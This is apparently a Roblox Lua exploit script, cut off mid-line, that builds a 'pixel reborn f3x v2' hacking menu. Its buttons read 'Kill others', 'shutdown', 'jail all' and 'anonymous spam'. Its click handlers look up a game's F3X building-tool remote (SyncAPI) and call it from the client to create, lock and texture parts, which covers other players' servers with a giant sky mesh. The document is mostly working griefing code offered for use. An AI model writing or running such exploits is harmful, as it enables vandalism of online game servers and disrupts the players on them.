UDim2.new(0, 78, 0, 33) TextButton_30.Font = Enum.Font.SourceSansBold TextButton_30.Text = "Kill others" TextButton_30.Position = UDim2.new(0.072, 0,0.332, 0) TextButton_30.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_30.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_30.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_30.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_30.BorderSizePixel = 5 TextButton_30.TextScaled = true TextButton_30.ZIndex = 1 TextButton_31.Parent = lmageLabel_5 TextButton_31.BackgroundTransparency = 0.5 TextButton_31.Size = UDim2.new(0, 190, 0, 33) TextButton_31.Font = Enum.Font.SourceSansBold TextButton_31.Text = "Unanchor" TextButton_31.Position = UDim2.new(0, 0,0.14, 0) TextButton_31.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_31.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_31.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_31.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_31.BorderSizePixel = 5 TextButton_31.TextScaled = true TextButton_31.ZIndex = 1 TextButton_32.Parent = lmageLabel_5 TextButton_32.BackgroundTransparency = 0.5 TextButton_32.Size = UDim2.new(0, 190, 0, 33) TextButton_32.Font = Enum.Font.SourceSansBold TextButton_32.Text = "l0rb" TextButton_32.Position = UDim2.new(0, 0,0.254, 0) TextButton_32.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_32.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_32.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_32.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_32.BorderSizePixel = 5 TextButton_32.TextScaled = true TextButton_32.ZIndex = 1 TextButton_33.Parent = lmageLabel_5 TextButton_33.BackgroundTransparency = 0.5 TextButton_33.Size = UDim2.new(0, 190, 0, 33) TextButton_33.Font = Enum.Font.SourceSansBold TextButton_33.Text = "Floating pad" TextButton_33.Position = UDim2.new(0, 0,0.368, 0) TextButton_33.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_33.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_33.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_33.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_33.BorderSizePixel = 5 TextButton_33.TextScaled = true TextButton_33.ZIndex = 1 TextButton_34.Parent = lmageLabel_5 TextButton_34.BackgroundTransparency = 0.5 TextButton_34.Size = UDim2.new(0, 190, 0, 33) TextButton_34.Font = Enum.Font.SourceSansBold TextButton_34.Text = "GANSTA PARADISE AUDIO!" TextButton_34.Position = UDim2.new(0, 0,0.477, 0) TextButton_34.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_34.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_34.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_34.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_34.BorderSizePixel = 5 TextButton_34.TextScaled = true TextButton_34.ZIndex = 1 TextButton_35.Parent = lmageLabel_5 TextButton_35.BackgroundTransparency = 0.5 TextButton_35.Size = UDim2.new(0, 190, 0, 33) TextButton_35.Font = Enum.Font.SourceSansBold TextButton_35.Text = "PixelGreenBugged theme" TextButton_35.Position = UDim2.new(0, 0,0.589, 0) TextButton_35.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_35.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_35.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_35.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_35.BorderSizePixel = 5 TextButton_35.TextScaled = true TextButton_35.ZIndex = 1 TextButton_36.Parent = lmageLabel_5 TextButton_36.BackgroundTransparency = 0.5 TextButton_36.Size = UDim2.new(0, 190, 0, 33) TextButton_36.Font = Enum.Font.SourceSansBold TextButton_36.Text = "Hint" TextButton_36.Position = UDim2.new(0, 0,0.706, 0) TextButton_36.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_36.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_36.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_36.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_36.BorderSizePixel = 5 TextButton_36.TextScaled = true TextButton_36.ZIndex = 1 TextButton_37.Parent = lmageLabel_5 TextButton_37.BackgroundTransparency = 0.5 TextButton_37.Size = UDim2.new(0, 190, 0, 33) TextButton_37.Font = Enum.Font.SourceSansBold TextButton_37.Text = "Message" TextButton_37.Position = UDim2.new(0, 0,0.832, 0) TextButton_37.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_37.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_37.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_37.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_37.BorderSizePixel = 5 TextButton_37.TextScaled = true TextButton_37.ZIndex = 1 TextButton_38.Parent = lmageLabel_5 TextButton_38.BackgroundTransparency = 0 TextButton_38.Size = UDim2.new(0, 990,0, 58) TextButton_38.Font = Enum.Font.SourceSansBold TextButton_38.Text = "BTOOLS/F3X" TextButton_38.Position = UDim2.new(-2.277, 0,1.038, 0) TextButton_38.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_38.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_38.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_38.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_38.BorderSizePixel = 5 TextButton_38.TextScaled = true TextButton_38.ZIndex = 1 TextButton_39.Parent = lmageLabel_5 TextButton_39.BackgroundTransparency = 0 TextButton_39.Size = UDim2.new(0, 192, 0, 37) TextButton_39.Font = Enum.Font.SourceSansBold TextButton_39.Text = "R6" TextButton_39.Position = UDim2.new(1.072, 0,1.063, 0) TextButton_39.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_39.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_39.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_39.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_39.BorderSizePixel = 5 TextButton_39.TextScaled = true TextButton_39.ZIndex = 1 TextButton_40.Parent = lmageLabel_5 TextButton_40.BackgroundTransparency = 0 TextButton_40.Size = UDim2.new(0, 192, 0, 37) TextButton_40.Font = Enum.Font.SourceSansBold TextButton_40.Text = "RE" TextButton_40.Position = UDim2.new(-2.221, 0,1.063, 0) TextButton_40.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_40.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_40.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_40.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_40.BorderSizePixel = 5 TextButton_40.TextScaled = true TextButton_40.ZIndex = 1 TextButton_41.Parent = lmageLabel_5 TextButton_41.BackgroundTransparency = 0.5 TextButton_41.Size = UDim2.new(0, 190, 0, 33) TextButton_41.Font = Enum.Font.SourceSansBold TextButton_41.Text = "JOHN DOE" TextButton_41.Position = UDim2.new(0, 0,0.026, 0) TextButton_41.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_41.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_41.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_41.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_41.BorderSizePixel = 5 TextButton_41.TextScaled = true TextButton_41.ZIndex = 1 Framez.Parent = PixelGreenBuggedrebornv2 Framez.BackgroundTransparency = 0 Framez.Size = UDim2.new(0, 282,0, 500) Framez.Position = UDim2.new(-0.407, 0,0, 0) Framez.BorderColor3 = Color3.fromRGB(0, 255, 0) Framez.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Framez.BorderSizePixel = 5 Framez.Visible = true Framez.ZIndex = 1 TextLabel_7.Parent = Framez TextLabel_7.BackgroundTransparency = 0 TextLabel_7.Size = UDim2.new(0, 282,0, 50) TextLabel_7.Font = Enum.Font.SourceSansBold TextLabel_7.Text = "pixel reborn f3x v2 Page 2" TextLabel_7.Position = UDim2.new(0, 0,0, 0) TextLabel_7.TextColor3 = Color3.fromRGB(0, 255, 0) TextLabel_7.BorderColor3 = Color3.fromRGB(0, 255, 0) TextLabel_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_7.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextLabel_7.BorderSizePixel = 5 TextLabel_7.TextScaled = true TextLabel_7.ZIndex = 1 lmageLabel_6.Parent = TextLabel_7 lmageLabel_6.BorderSizePixel = 0 lmageLabel_6.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_6.BackgroundColor3 = Color3.fromRGB(252, 255, 255) lmageLabel_6.Image = "rbxassetid://137445467424701" lmageLabel_6.Size = UDim2.new(0, 268, 0, 443) lmageLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_6.BackgroundTransparency = 5 lmageLabel_6.Position = UDim2.new(0.032, 0,1.132, 0) lmageLabel_6.ZIndex = 1 TextButton_42.Parent = lmageLabel_6 TextButton_42.BackgroundTransparency = 0.5 TextButton_42.Size = UDim2.new(0, 240, 0, 32) TextButton_42.Font = Enum.Font.SourceSansBold TextButton_42.Text = "anonymous spam" TextButton_42.Position = UDim2.new(0.045, 0,0.041, 0) TextButton_42.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_42.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_42.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_42.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_42.BorderSizePixel = 5 TextButton_42.TextScaled = true TextButton_42.ZIndex = 1 TextButton_43.Parent = lmageLabel_6 TextButton_43.BackgroundTransparency = 0.5 TextButton_43.Size = UDim2.new(0, 240, 0, 32) TextButton_43.Font = Enum.Font.SourceSansBold TextButton_43.Text = "toadroasted remake" TextButton_43.Position = UDim2.new(0.045, 0,0.147, 0) TextButton_43.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_43.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_43.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_43.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_43.BorderSizePixel = 5 TextButton_43.TextScaled = true TextButton_43.ZIndex = 1 TextButton_44.Parent = lmageLabel_6 TextButton_44.BackgroundTransparency = 0.5 TextButton_44.Size = UDim2.new(0, 240, 0, 32) TextButton_44.Font = Enum.Font.SourceSansBold TextButton_44.Text = "shutdown" TextButton_44.Position = UDim2.new(0.041, 0,0.251, 0) TextButton_44.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_44.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_44.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_44.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_44.BorderSizePixel = 5 TextButton_44.TextScaled = true TextButton_44.ZIndex = 1 TextButton_45.Parent = lmageLabel_6 TextButton_45.BackgroundTransparency = 0.5 TextButton_45.Size = UDim2.new(0, 107, 0, 32) TextButton_45.Font = Enum.Font.SourceSansBold TextButton_45.Text = "jail all" TextButton_45.Position = UDim2.new(0.537, 0,0.354, 0) TextButton_45.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_45.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_45.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_45.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_45.BorderSizePixel = 5 TextButton_45.TextScaled = true TextButton_45.ZIndex = 1 TextButton_46.Parent = lmageLabel_6 TextButton_46.BackgroundTransparency = 0.5 TextButton_46.Size = UDim2.new(0, 107, 0, 32) TextButton_46.Font = Enum.Font.SourceSansBold TextButton_46.Text = "deleted skybox" TextButton_46.Position = UDim2.new(0.041, 0,0.354, 0) TextButton_46.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_46.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_46.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_46.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_46.BorderSizePixel = 5 TextButton_46.TextScaled = true TextButton_46.ZIndex = 1 TextButton_47.Parent = lmageLabel_6 TextButton_47.BackgroundTransparency = 0.5 TextButton_47.Size = UDim2.new(0, 107, 0, 32) TextButton_47.Font = Enum.Font.SourceSansBold TextButton_47.Text = "distort client" TextButton_47.Position = UDim2.new(0.041, 0,0.573, 0) TextButton_47.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_47.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_47.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_47.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_47.BorderSizePixel = 5 TextButton_47.TextScaled = true TextButton_47.ZIndex = 1 TextButton_48.Parent = lmageLabel_6 TextButton_48.BackgroundTransparency = 0.5 TextButton_48.Size = UDim2.new(0, 107, 0, 32) TextButton_48.Font = Enum.Font.SourceSansBold TextButton_48.Text = "undistort client" TextButton_48.Position = UDim2.new(0.537, 0,0.573, 0) TextButton_48.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_48.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_48.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_48.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_48.BorderSizePixel = 5 TextButton_48.TextScaled = true TextButton_48.ZIndex = 1 TextButton_49.Parent = lmageLabel_6 TextButton_49.BackgroundTransparency = 0.5 TextButton_49.Size = UDim2.new(0, 107, 0, 32) TextButton_49.Font = Enum.Font.SourceSansBold TextButton_49.Text = "number" TextButton_49.Position = UDim2.new(0.041, 0,0.684, 0) TextButton_49.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_49.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_49.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_49.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_49.BorderSizePixel = 5 TextButton_49.TextScaled = true TextButton_49.ZIndex = 1 TextButton_50.Parent = lmageLabel_6 TextButton_50.BackgroundTransparency = 0.5 TextButton_50.Size = UDim2.new(0, 107, 0, 32) TextButton_50.Font = Enum.Font.SourceSansBold TextButton_50.Text = "c00l music" TextButton_50.Position = UDim2.new(0.041, 0,0.788, 0) TextButton_50.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_50.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_50.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_50.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_50.BorderSizePixel = 5 TextButton_50.TextScaled = true TextButton_50.ZIndex = 1 TextButton_51.Parent = lmageLabel_6 TextButton_51.BackgroundTransparency = 0.5 TextButton_51.Size = UDim2.new(0, 107, 0, 32) TextButton_51.Font = Enum.Font.SourceSansBold TextButton_51.Text = "chicken nuggets" TextButton_51.Position = UDim2.new(0.041, 0,0.903, 0) TextButton_51.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_51.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_51.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_51.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_51.BorderSizePixel = 5 TextButton_51.TextScaled = true TextButton_51.ZIndex = 1 TextButton_52.Parent = lmageLabel_6 TextButton_52.BackgroundTransparency = 0.5 TextButton_52.Size = UDim2.new(0, 107, 0, 32) TextButton_52.Font = Enum.Font.SourceSansBold TextButton_52.Text = "Peter Griffin" TextButton_52.Position = UDim2.new(0.537, 0,0.903, 0) TextButton_52.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_52.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_52.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_52.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_52.BorderSizePixel = 5 TextButton_52.TextScaled = true TextButton_52.ZIndex = 1 TextButton_53.Parent = lmageLabel_6 TextButton_53.BackgroundTransparency = 0.5 TextButton_53.Size = UDim2.new(0, 107, 0, 32) TextButton_53.Font = Enum.Font.SourceSansBold TextButton_53.Text = "g00byd0lan theme" TextButton_53.Position = UDim2.new(0.537, 0,0.788, 0) TextButton_53.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_53.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_53.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_53.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_53.BorderSizePixel = 5 TextButton_53.TextScaled = true TextButton_53.ZIndex = 1 TextButton_54.Parent = lmageLabel_6 TextButton_54.BackgroundTransparency = 0.5 TextButton_54.Size = UDim2.new(0, 107, 0, 32) TextButton_54.Font = Enum.Font.SourceSansBold TextButton_54.Text = "short phonk" TextButton_54.Position = UDim2.new(0.537, 0,0.684, 0) TextButton_54.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_54.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_54.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_54.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_54.BorderSizePixel = 5 TextButton_54.TextScaled = true TextButton_54.ZIndex = 1 TextButton_55.Parent = lmageLabel_6 TextButton_55.BackgroundTransparency = 0.5 TextButton_55.Size = UDim2.new(0, 240, 0, 32) TextButton_55.Font = Enum.Font.SourceSansBold TextButton_55.Text = "pixel realm's" TextButton_55.Position = UDim2.new(0.041, 0,0.467, 0) TextButton_55.TextColor3 = Color3.fromRGB(0, 255, 0) TextButton_55.BorderColor3 = Color3.fromRGB(0, 255, 0) TextButton_55.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_55.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_55.BorderSizePixel = 5 TextButton_55.TextScaled = true TextButton_55.ZIndex = 1 -- Script local function Dragify_fake_script() -- Frame.LocalScript local script = Instance.new('LocalScript', PixelGreenBuggedrebornv2) local UserInputService = game:GetService("UserInputService") local gui = script.Parent local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end coroutine.wrap(Dragify_fake_script)() local function TextButton_1_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_1) local button = script.Parent button.MouseButton1Click:Connect(function() script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("117622844438673") end) end) end coroutine.wrap(TextButton_1_fake_script)() local function TextButton_2_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_2) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("137445467424701") end) end coroutine.wrap(TextButton_2_fake_script)() local function TextButton_3_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_3) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = 